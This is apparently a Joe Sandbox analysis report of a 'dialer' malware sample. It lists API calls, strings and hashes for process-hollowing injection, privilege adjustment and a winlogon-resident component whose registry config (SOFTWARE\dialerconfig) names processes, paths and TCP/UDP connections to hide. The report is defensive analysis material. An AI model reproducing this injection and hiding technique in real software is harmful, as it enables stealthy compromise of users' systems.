Associated: 00000010.00000002.2925780072.00007FF6CD416000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6cd410000_dialer.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: d2e1c125c576b14afbc05c5ef5102f2ffb5d105b10e46613ced4fa4cc78aada4
Instruction ID: d7edc70eb3da2de186547581d5cbe8c62d8def434fb3a0810ca05b04aeb6bdeb
Opcode Fuzzy Hash: d2e1c125c576b14afbc05c5ef5102f2ffb5d105b10e46613ced4fa4cc78aada4
Instruction Fuzzy Hash: 64218771B096528BE3149F16E49553A7672FB82B82F14C038DF9A87764EF3DE454CB40

Function 00007FF6CD4119AC Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,00007FF6CD41110E), ref: 00007FF6CD4119CA
IsWow64Process.KERNEL32(?,?,?,00007FF6CD41110E), ref: 00007FF6CD4119E0
FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF6CD41110E), ref: 00007FF6CD4119FB

Memory Dump Source

Source File: 00000010.00000002.2924905425.00007FF6CD411000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6CD410000, based on PE: true

Associated: 00000010.00000002.2924450368.00007FF6CD410000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925506926.00007FF6CD413000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925780072.00007FF6CD416000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6cd410000_dialer.jbxd

Similarity

API ID: Process$ChangeCloseFindNotificationOpenWow64
String ID:
API String ID: 3805842350-0
Opcode ID: ea685a94494dd3c72d9a5f52f0d7d3242b8d37645b818c6e37f69502b31e9c88
Instruction ID: a9818b0c9492d5de2d6376b34e6c890c08253ecf036f5d9e9dc0451399619582
Opcode Fuzzy Hash: ea685a94494dd3c72d9a5f52f0d7d3242b8d37645b818c6e37f69502b31e9c88
Instruction Fuzzy Hash: 41F01D21B0978283EB548F16B5882296661FB89BC1F44D039EB9D83758EF3DD455C700

Function 00007FF6CD412314 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6CD412328: VerSetConditionMask.NTDLL ref: 00007FF6CD412397
Part of subcall function 00007FF6CD412328: VerSetConditionMask.NTDLL ref: 00007FF6CD4123A8
Part of subcall function 00007FF6CD412328: VerSetConditionMask.NTDLL ref: 00007FF6CD4123B9
Part of subcall function 00007FF6CD412328: VerifyVersionInfoW.KERNEL32 ref: 00007FF6CD4123CC
Part of subcall function 00007FF6CD412328: GetCurrentProcessId.KERNEL32 ref: 00007FF6CD4123DE
Part of subcall function 00007FF6CD412328: OpenProcess.KERNEL32 ref: 00007FF6CD4123EE
Part of subcall function 00007FF6CD412328: OpenProcessToken.ADVAPI32 ref: 00007FF6CD41240F
Part of subcall function 00007FF6CD412328: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6CD412429
Part of subcall function 00007FF6CD412328: AdjustTokenPrivileges.KERNELBASE ref: 00007FF6CD41246D
Part of subcall function 00007FF6CD412328: GetLastError.KERNEL32 ref: 00007FF6CD412477
Part of subcall function 00007FF6CD412328: FindCloseChangeNotification.KERNELBASE ref: 00007FF6CD412480
Part of subcall function 00007FF6CD412328: FindResourceA.KERNEL32 ref: 00007FF6CD412494
Part of subcall function 00007FF6CD412328: SizeofResource.KERNEL32 ref: 00007FF6CD4124AB
Part of subcall function 00007FF6CD412328: LoadResource.KERNEL32 ref: 00007FF6CD4124C4
Part of subcall function 00007FF6CD412328: LockResource.KERNEL32 ref: 00007FF6CD4124D6
Part of subcall function 00007FF6CD412328: GetCurrentProcessId.KERNEL32 ref: 00007FF6CD4124E3

ExitProcess.KERNEL32 ref: 00007FF6CD41231F

Memory Dump Source

Source File: 00000010.00000002.2924905425.00007FF6CD411000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6CD410000, based on PE: true

Associated: 00000010.00000002.2924450368.00007FF6CD410000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925506926.00007FF6CD413000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925780072.00007FF6CD416000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6cd410000_dialer.jbxd

Similarity

API ID: Process$Resource$ConditionMask$CurrentFindOpenToken$AdjustChangeCloseErrorExitInfoLastLoadLockLookupNotificationPrivilegePrivilegesSizeofValueVerifyVersion
String ID:
API String ID: 1125160344-0
Opcode ID: c424f5b466816f57c667fdb355f9c01d35ce1647c2c5f950e20106d890b0f394
Instruction ID: 58d0e3a566d146884cc972cb432ab4a0d3a8b3d8de1c2ea10f0828131ba429d0
Opcode Fuzzy Hash: c424f5b466816f57c667fdb355f9c01d35ce1647c2c5f950e20106d890b0f394
Instruction Fuzzy Hash: 0DA02400F0414141D5043F70144F03C11311F41303F404430D155C5141FD1CD0340310

Non-executed Functions

Function 00007FF6CD4126E8 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 292
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 00007FF6CD41276B

Part of subcall function 00007FF6CD4119AC: OpenProcess.KERNEL32(?,?,?,00007FF6CD41110E), ref: 00007FF6CD4119CA
Part of subcall function 00007FF6CD4119AC: IsWow64Process.KERNEL32(?,?,?,00007FF6CD41110E), ref: 00007FF6CD4119E0
Part of subcall function 00007FF6CD4119AC: FindCloseChangeNotification.KERNELBASE(?,?,?,00007FF6CD41110E), ref: 00007FF6CD4119FB

Part of subcall function 00007FF6CD4110C0: OpenProcess.KERNEL32 ref: 00007FF6CD41112C
Part of subcall function 00007FF6CD4110C0: OpenProcess.KERNEL32 ref: 00007FF6CD41114B
Part of subcall function 00007FF6CD4110C0: K32GetModuleFileNameExW.KERNEL32 ref: 00007FF6CD411170
Part of subcall function 00007FF6CD4110C0: PathFindFileNameW.SHLWAPI ref: 00007FF6CD41117E
Part of subcall function 00007FF6CD4110C0: lstrlenW.KERNEL32 ref: 00007FF6CD41118A
Part of subcall function 00007FF6CD4110C0: StrCpyW.SHLWAPI ref: 00007FF6CD4111A1
Part of subcall function 00007FF6CD4110C0: CloseHandle.KERNEL32 ref: 00007FF6CD4111AD
Part of subcall function 00007FF6CD4110C0: StrCmpIW.SHLWAPI ref: 00007FF6CD4111ED
Part of subcall function 00007FF6CD4110C0: NtQueryInformationProcess.NTDLL ref: 00007FF6CD411221
Part of subcall function 00007FF6CD4110C0: OpenProcessToken.ADVAPI32 ref: 00007FF6CD41124B

RegOpenKeyExW.ADVAPI32 ref: 00007FF6CD412807
RegDeleteValueW.ADVAPI32 ref: 00007FF6CD41281F
ExitProcess.KERNEL32 ref: 00007FF6CD412843
GetProcessHeap.KERNEL32 ref: 00007FF6CD41284A
HeapAlloc.KERNEL32 ref: 00007FF6CD41285D
K32EnumProcesses.KERNEL32 ref: 00007FF6CD41287A
ExitProcess.KERNEL32 ref: 00007FF6CD41291A

Strings

SOFTWARE, xrefs: 00007FF6CD4127F9
dialerstager, xrefs: 00007FF6CD412818
open, xrefs: 00007FF6CD412AEC

Memory Dump Source

Source File: 00000010.00000002.2924905425.00007FF6CD411000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6CD410000, based on PE: true

Associated: 00000010.00000002.2924450368.00007FF6CD410000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925506926.00007FF6CD413000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925780072.00007FF6CD416000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6cd410000_dialer.jbxd

Similarity

API ID: Process$Open$File$CloseExitFindHeapName$AllocChangeDeleteEnumHandleInformationModuleNotificationPathProcessesQueryReadTokenValueWow64lstrlen
String ID: SOFTWARE$dialerstager$open
API String ID: 4281403370-3931493855
Opcode ID: cc2dfd10ca6ce89d0433c572e31964bbe7f0f3f3498935daffa8bcdb63cf822c
Instruction ID: a02435de3006761983981c2acb8eada9cf98da0f9f180f678de952db611bb0d9
Opcode Fuzzy Hash: cc2dfd10ca6ce89d0433c572e31964bbe7f0f3f3498935daffa8bcdb63cf822c
Instruction Fuzzy Hash: D0D17425B0868386EB759F2598452FA26A5FF44746F00C135EBADC7698FF3CE628C700

Function 00007FF6CD411DB4 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 00007FF6CD411E78
VirtualAllocEx.KERNEL32 ref: 00007FF6CD411EA7
WriteProcessMemory.KERNEL32 ref: 00007FF6CD411ECC
WriteProcessMemory.KERNEL32 ref: 00007FF6CD411F08
VirtualAlloc.KERNEL32 ref: 00007FF6CD411F3B
GetThreadContext.KERNEL32 ref: 00007FF6CD411F57
WriteProcessMemory.KERNEL32 ref: 00007FF6CD411F7F
SetThreadContext.KERNEL32 ref: 00007FF6CD411F9D
ResumeThread.KERNEL32 ref: 00007FF6CD411FAD
OpenProcess.KERNEL32 ref: 00007FF6CD411FCC
TerminateProcess.KERNEL32 ref: 00007FF6CD411FDC

Strings

@, xrefs: 00007FF6CD411E9F

Memory Dump Source

Source File: 00000010.00000002.2924905425.00007FF6CD411000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6CD410000, based on PE: true

Associated: 00000010.00000002.2924450368.00007FF6CD410000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925506926.00007FF6CD413000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925780072.00007FF6CD416000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6cd410000_dialer.jbxd

Similarity

API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
String ID: @
API String ID: 3462610200-2766056989
Opcode ID: 703b8677555c06e2b0f299b5c9a482d004feef9bba7614f76242c0c17f04cdf7
Instruction ID: 1c0504e01f5aae1af58b566edbb50e1cf06e0efc9c8d1df760400389a83d5596
Opcode Fuzzy Hash: 703b8677555c06e2b0f299b5c9a482d004feef9bba7614f76242c0c17f04cdf7
Instruction Fuzzy Hash: 3461A032B04A018AEB50CF26E84476D77A1FB49B89F008136DF9D97B98EF38E565C744

Function 00007FF6CD411AC4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 106memorycomCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00007FF6CD411AEB
SysAllocString.OLEAUT32 ref: 00007FF6CD411AFB
CoInitializeEx.OLE32 ref: 00007FF6CD411B08
CoInitializeSecurity.OLE32 ref: 00007FF6CD411B3F
CoCreateInstance.OLE32 ref: 00007FF6CD411B84
VariantInit.OLEAUT32 ref: 00007FF6CD411B96
CoUninitialize.OLE32 ref: 00007FF6CD411C2F
SysFreeString.OLEAUT32 ref: 00007FF6CD411C38
SysFreeString.OLEAUT32 ref: 00007FF6CD411C41

Strings

dialersvc64, xrefs: 00007FF6CD411AE2

Memory Dump Source

Source File: 00000010.00000002.2924905425.00007FF6CD411000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6CD410000, based on PE: true

Associated: 00000010.00000002.2924450368.00007FF6CD410000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925506926.00007FF6CD413000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925780072.00007FF6CD416000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6cd410000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: dialersvc64
API String ID: 4184240511-3881820561
Opcode ID: 1cf1482e3e3cd0594537fe81606e3316bc30941842e87169c6508401709d1003
Instruction ID: 641a6c56c2ed80dfb9bd08f3935a6aff151130db6bf588d313c2a2e969f807fd
Opcode Fuzzy Hash: 1cf1482e3e3cd0594537fe81606e3316bc30941842e87169c6508401709d1003
Instruction Fuzzy Hash: C9415E36B04B4696E710DF25E8442AD37B6FB89B89F048136EF5E87A24EF38D159C300

Function 00007FF6CD411000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00007FF6CD411034
RegDeleteKeyW.ADVAPI32 ref: 00007FF6CD411045
RegEnumKeyExW.ADVAPI32 ref: 00007FF6CD411082
RegCloseKey.ADVAPI32 ref: 00007FF6CD411093
RegDeleteKeyExW.ADVAPI32 ref: 00007FF6CD4110B0

Strings

SOFTWARE\dialerconfig, xrefs: 00007FF6CD411026, 00007FF6CD41109C

Memory Dump Source

Source File: 00000010.00000002.2924905425.00007FF6CD411000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6CD410000, based on PE: true

Associated: 00000010.00000002.2924450368.00007FF6CD410000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925506926.00007FF6CD413000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925780072.00007FF6CD416000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6cd410000_dialer.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: e1473c9d781940c188c1c4810ff800916bd5dc84dd697936dace2937510ea816
Instruction ID: bff30f74de25c2dbf8b106208499362d24f016a991465370f7c7d6c51706dc63
Opcode Fuzzy Hash: e1473c9d781940c188c1c4810ff800916bd5dc84dd697936dace2937510ea816
Instruction Fuzzy Hash: 0711A722B18A86C1E760CF24E8487B977A5FB44759F408235D7AD8A99CEF3CD258CB04

Function 00007FF6CD412C18 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF6CD412C53
WriteFile.KERNEL32 ref: 00007FF6CD412C7B
WriteFile.KERNEL32 ref: 00007FF6CD412C9E
CloseHandle.KERNEL32 ref: 00007FF6CD412CA7

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00007FF6CD412C30

Memory Dump Source

Source File: 00000010.00000002.2924905425.00007FF6CD411000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6CD410000, based on PE: true

Associated: 00000010.00000002.2924450368.00007FF6CD410000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925506926.00007FF6CD413000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925780072.00007FF6CD416000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6cd410000_dialer.jbxd

Similarity

API ID: File$Write$CloseCreateHandle
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 148219782-3440882674
Opcode ID: e51fa25a04711743f107767099e23b895b2e502b334cde0a5e9bfd5133e6eec8
Instruction ID: 2308d3e4af11f9fe74826c11089dc3af72b5141567e49237b84a54449a9f22a9
Opcode Fuzzy Hash: e51fa25a04711743f107767099e23b895b2e502b334cde0a5e9bfd5133e6eec8
Instruction Fuzzy Hash: E5114C66B14B5182E7108F15E408329A7A1FB89BE5F448225DBAD83B94EF7CD519CB40

Function 00007FF6CD411A14 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000000,00007FF6CD411914), ref: 00007FF6CD411A24
GetProcAddress.KERNEL32(?,?,00000000,00007FF6CD411914), ref: 00007FF6CD411A37

Strings

ntdll.dll, xrefs: 00007FF6CD411A1A

Memory Dump Source

Source File: 00000010.00000002.2924905425.00007FF6CD411000.00000020.00000001.01000000.00000000.sdmp, Offset: 00007FF6CD410000, based on PE: true

Associated: 00000010.00000002.2924450368.00007FF6CD410000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925506926.00007FF6CD413000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000010.00000002.2925780072.00007FF6CD416000.00000002.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff6cd410000_dialer.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: ntdll.dll
API String ID: 1646373207-2227199552
Opcode ID: 2932c76e980009a225b48c98ed69798072b802092a4ae1a9bffd161348126381
Instruction ID: ed07f85a0f089e9c8ee42a1cdd4123c6edbdff5f12e7a071cd59d4e5d620f002
Opcode Fuzzy Hash: 2932c76e980009a225b48c98ed69798072b802092a4ae1a9bffd161348126381
Instruction Fuzzy Hash: 93D0A984F26603C2EE088F62A8590306212AF09B82B888030CEBE86310FF2CD0B88300

Analysis Process: powershell.exePID: 7936, Parent PID: 2580COMMON

Executed Functions

Function 00007FFD9B8CB028 Relevance: 1.4, Strings: 1, Instructions: 103COMMON

Download Yara Rule

Strings

U, xrefs: 00007FFD9B8CB04A

Memory Dump Source

Source File: 00000011.00000002.1863105425.00007FFD9B8C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b8c0000_powershell.jbxd

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: 960a99c94f9caa6e0cda30997c89e696df5bed644e4250f63445ef59014151ec
Instruction ID: 6b11e367165c0b8c555c6ef675c92023c50a5a91d92332b13d23f20f69651249
Opcode Fuzzy Hash: 960a99c94f9caa6e0cda30997c89e696df5bed644e4250f63445ef59014151ec
Instruction Fuzzy Hash: B021383090CA4C4FDB589BAC884A6F67BE0EB96331F10426FD059C31A2DA745417CB91

Function 00007FFD9B994AF4 Relevance: .4, Instructions: 357COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1864295849.00007FFD9B990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9c18ea077a104892fe29b01afbb2aff4265b86784360be807c70bff538801ac7
Instruction ID: f9095f90a11915bbfa838a738c203d8bcb15a1de108a8bf2143e5c6d2d1370ea
Opcode Fuzzy Hash: 9c18ea077a104892fe29b01afbb2aff4265b86784360be807c70bff538801ac7
Instruction Fuzzy Hash: 85A14A32B1E7895FE7B7976858646A47BE0EF46620B0A01FFD09CC72E3D9086D06C351

Function 00007FFD9B994943 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1864295849.00007FFD9B990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03d2ac6acc9c8e88b8358886e04bae2d45da9dfe4d4460f9802ec6872334db34
Instruction ID: 28e3763238d964f25a8f156667e5997e11394cc3d80c46e8730643b308fe21be
Opcode Fuzzy Hash: 03d2ac6acc9c8e88b8358886e04bae2d45da9dfe4d4460f9802ec6872334db34
Instruction Fuzzy Hash: 12512632B1EA4A5FEBFA9A5C586177477C2EF84620B1A00BED05EC72E3DE14E9058345

Function 00007FFD9B8CA0E5 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1863105425.00007FFD9B8C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b8c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d2cce2bb1a69ad230713e360ac6e6de7ef4cf2cb8672051a60c23d74a5d0a83
Instruction ID: 03d98f07e7e55c2710006b9bcf9a9e0c08f3dfa2615b925d67baaf1a4484d06f
Opcode Fuzzy Hash: 0d2cce2bb1a69ad230713e360ac6e6de7ef4cf2cb8672051a60c23d74a5d0a83
Instruction Fuzzy Hash: 6A31D67191CB8C8FDB58DB5C9C4A6A97BE0FB59320F00426FE449D3252DA74A855CBC2

Function 00007FFD9B99498F Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1864295849.00007FFD9B990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2232d9f4bab35cdf4578b2842d95b9122b714d875a7838a68aa82be259920e6b
Instruction ID: e7dda312f272013e32f5c725f208be3f20adb515b7b996d87df10d2f47b985f7
Opcode Fuzzy Hash: 2232d9f4bab35cdf4578b2842d95b9122b714d875a7838a68aa82be259920e6b
Instruction Fuzzy Hash: F321D422B2F94A5FE7FA965858B023467C1EF54610B5A00BED05DC76E3DE18ED008345

Function 00007FFD9B7AEC61 Relevance: .1, Instructions: 71COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1862076500.00007FFD9B7AD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B7AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b7ad000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f646d12e96cfe6726d538514cf63b9474d4ad915bda2ebae94654ca775954ea1
Instruction ID: cc17e704699df11ac4e30cfd0ce4c77cdeb95bc7a086d79abca9f17dec18dd92
Opcode Fuzzy Hash: f646d12e96cfe6726d538514cf63b9474d4ad915bda2ebae94654ca775954ea1
Instruction Fuzzy Hash: 19113D3150CF088F9BA8EF1DE4859667BE1FB98321B21066FD45DC7665D731E881CB82

Function 00007FFD9B994C8C Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1864295849.00007FFD9B990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 976e82675355d2a5e06a5ec5a477743f10366b11249cf8d08ccd47e9096a6657
Instruction ID: 9a2312172a43edd5149fbfb1dac4402d70d9d3a07dfd41bbcbdbe3a9ecfa8e66
Opcode Fuzzy Hash: 976e82675355d2a5e06a5ec5a477743f10366b11249cf8d08ccd47e9096a6657
Instruction Fuzzy Hash: 3211E032B2F9495FEBFA969894606B477D1EF44720B4A00BEE42DC76A2E919AD00C340

Function 00007FFD9B8C4675 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1863105425.00007FFD9B8C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b8c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c01522aee3b7a599d2a889ef33527c7ee16a54378dd15f4d4a9fe84dd1ce5310
Instruction ID: e67db4fdf9ac7ab583224fc22a2236a69ec782eeeb4ba271dd5a29cfb93ba4a3
Opcode Fuzzy Hash: c01522aee3b7a599d2a889ef33527c7ee16a54378dd15f4d4a9fe84dd1ce5310
Instruction Fuzzy Hash: 6C01447121CB0C4FD748EF4CE451AA5B7E0FB99364F10056EE58AC36A5D626E881CB45

Function 00007FFD9B8CAE68 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1863105425.00007FFD9B8C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B8C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b8c0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8e11bb5f00697a751fcc6a86d8c8f46a75323d3f4fc0f7c720474b83d30c73da
Instruction ID: 5e17a2e793223a977cbee810b5e6b6de758bd29af6eb7a5272e55581feff7400
Opcode Fuzzy Hash: 8e11bb5f00697a751fcc6a86d8c8f46a75323d3f4fc0f7c720474b83d30c73da
Instruction Fuzzy Hash: A8F02430809A8D8FDB06EF6888259E57FE0FF26210B05029BE458C70B2DB74A558CBC2

Function 00007FFD9B9953E4 Relevance: .0, Instructions: 35COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.1864295849.00007FFD9B990000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_7ffd9b990000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d38cf2df41a71e7fd719056ab098251107c78763863e01c65dc15b724f5a7a1
Instruction ID: e9062ea87dda00a7464c40ba49611efa747d27457e93ebc7433ec7c2b2436e38
Opcode Fuzzy Hash: 3d38cf2df41a71e7fd719056ab098251107c78763863e01c65dc15b724f5a7a1
Instruction Fuzzy Hash: AAF0A03171CF044FE748EE2DE449BA2B7E0FBA8310F10462FE44AC3295DA21E8818782

Analysis Process: winlogon.exePID: 552, Parent PID: 7912COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	95.1%
Signature Coverage:	0%
Total number of Nodes:	122
Total number of Limit Nodes:	16

Executed Functions

Function 00000225DC641650 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 00000225DC64165B
HeapAlloc.KERNEL32 ref: 00000225DC64166A

Part of subcall function 00000225DC641274: GetProcessHeap.KERNEL32 ref: 00000225DC64127A
Part of subcall function 00000225DC641274: HeapAlloc.KERNEL32 ref: 00000225DC641289
Part of subcall function 00000225DC641274: GetProcessHeap.KERNEL32 ref: 00000225DC6412A3
Part of subcall function 00000225DC641274: HeapAlloc.KERNEL32 ref: 00000225DC6412B4

RegOpenKeyExW.ADVAPI32 ref: 00000225DC6416DA
RegOpenKeyExW.ADVAPI32 ref: 00000225DC641707
RegCloseKey.ADVAPI32 ref: 00000225DC641721
RegOpenKeyExW.ADVAPI32 ref: 00000225DC641741
RegCloseKey.ADVAPI32 ref: 00000225DC64175C
RegOpenKeyExW.ADVAPI32 ref: 00000225DC64177C
RegCloseKey.ADVAPI32 ref: 00000225DC641797
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6417B7
RegCloseKey.ADVAPI32 ref: 00000225DC6417D2
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6417F2
RegCloseKey.ADVAPI32 ref: 00000225DC64180D
RegOpenKeyExW.ADVAPI32 ref: 00000225DC64182D
RegCloseKey.ADVAPI32 ref: 00000225DC641848
RegOpenKeyExW.ADVAPI32 ref: 00000225DC641868
RegCloseKey.ADVAPI32 ref: 00000225DC641883
RegOpenKeyExW.ADVAPI32 ref: 00000225DC6418A3
RegCloseKey.ADVAPI32 ref: 00000225DC6418BE
RegCloseKey.ADVAPI32 ref: 00000225DC6418C8

Part of subcall function 00000225DC6412C8: RegQueryInfoKeyW.ADVAPI32 ref: 00000225DC641326
Part of subcall function 00000225DC6412C8: GetProcessHeap.KERNEL32 ref: 00000225DC641334
Part of subcall function 00000225DC6412C8: HeapAlloc.KERNEL32 ref: 00000225DC641345
Part of subcall function 00000225DC6412C8: RegEnumValueW.ADVAPI32 ref: 00000225DC6413A1
Part of subcall function 00000225DC6412C8: GetProcessHeap.KERNEL32 ref: 00000225DC6413E9
Part of subcall function 00000225DC6412C8: HeapAlloc.KERNEL32 ref: 00000225DC6413F7
Part of subcall function 00000225DC6412C8: GetProcessHeap.KERNEL32 ref: 00000225DC64141B
Part of subcall function 00000225DC6412C8: HeapFree.KERNEL32 ref: 00000225DC641429
Part of subcall function 00000225DC6412C8: lstrlenW.KERNEL32 ref: 00000225DC641432
Part of subcall function 00000225DC6412C8: GetProcessHeap.KERNEL32 ref: 00000225DC641440
Part of subcall function 00000225DC6412C8: HeapAlloc.KERNEL32 ref: 00000225DC64144E

Strings

process_names, xrefs: 00000225DC641775
paths, xrefs: 00000225DC6417B0
startup, xrefs: 00000225DC6416FD
pid, xrefs: 00000225DC64173A
tcp_local, xrefs: 00000225DC641826
service_names, xrefs: 00000225DC6417EB
SOFTWARE\dialerconfig, xrefs: 00000225DC6416BA
tcp_remote, xrefs: 00000225DC641861
udp, xrefs: 00000225DC64189C

Memory Dump Source

Source File: 00000017.00000002.2930567357.00000225DC640000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000225DC640000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_225dc640000_winlogon.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
